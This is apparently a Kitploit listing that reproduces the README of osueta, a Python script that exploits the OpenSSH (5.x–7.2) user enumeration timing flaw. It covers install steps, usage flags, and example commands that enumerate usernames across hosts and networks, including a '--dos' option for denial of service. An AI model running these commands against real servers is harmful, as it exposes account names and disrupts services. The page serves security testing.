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osueta — A simple Python script to exploit the OpenSSH User Enumeration Timing Attack. | Kitploit
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osueta

A simple Python script to exploit the OpenSSH User Enumeration Timing Attack.

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What's OSUETA?

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    Osueta it's a simple Python2 script to exploit the OpenSSH User Enumeration Timing Attack, 
    present in OpenSSH versions <= 7.2 and >= 5.* . The script has the ability to make variations
    of the username employed in the bruteforce attack, and the possibility to establish
    a DOS condition in the OpenSSH server. 

    http://seclists.org/fulldisclosure/2013/Jul/88 
    
	The bug was corrected in OpenSSH version 7.3:
	http://www.openssh.com/txt/release-7.3

Authors:

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    c0r3dump3d | coredump<@>autistici.org
    rofen | rofen<@>gmx.de

We want to give the thanks to Javier Nieto from www.behindthefirewalls.com for his support and help.

Advice:

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Like others offensive tools, the authors disclaims all responsibility in the use of this script.

Dependencies:

Debian:

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# apt-get install python-ipy python-nmap 
# pip install paramiko
# pip install IPy

ArchLinux:

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# pacman -S python2-ipy python2-nmap python2-paramiko

Installing:

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    $ git clone https://github.com/c0r3dump3d/osueta.git 

Usage:

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usage: osueta.py [-h] [-H HOST] [-k HFILE] [-f FQDN] [-p PORT] [-L UFILE]
             [-U USER] [-d DELAY] [-v VARI] [-o OUTP] [-l LENGTH]
             [-c VERS] [--dos DOS] [-t THREADS]

OpenSSH User Enumeration Time-Based Attack Python script

optional arguments:
-h, --help  show this help message and exit
-H HOST     Host Ip or CIDR netblock.
-k HFILE    Host list in a file.
-f FQDN     FQDN to attack.
-p PORT     Host port.
-L UFILE    Username list file.
-U USER     Only use a single username.
-d DELAY    Time delay fixed in seconds. If not, delay time is calculated.
-v VARI     Make variations of the username (default yes).
-o OUTP     Output file with positive results.
-l LENGTH   Length of the password in characters (x1000) (default 40).
-c VERS     Check or not the OpenSSH version (default yes).
--dos DOS   Try to make a DOS attack (default no).
-t THREADS  Threads for the DOS attack (default 5).

Example:

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* A single user enumeration attempt with username variations:

        ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes

* A single user enumeration attempt with no user variations a dos attack:

        ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes

* Scanning a C class network with only one user:

	./osueta -H 192.168.1.0/24 -p 22 -U root -v no 

* Scanning a C class network with usernames from a file, delay time 15 seconds and a password of 50000 characters:

	./osueta -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50
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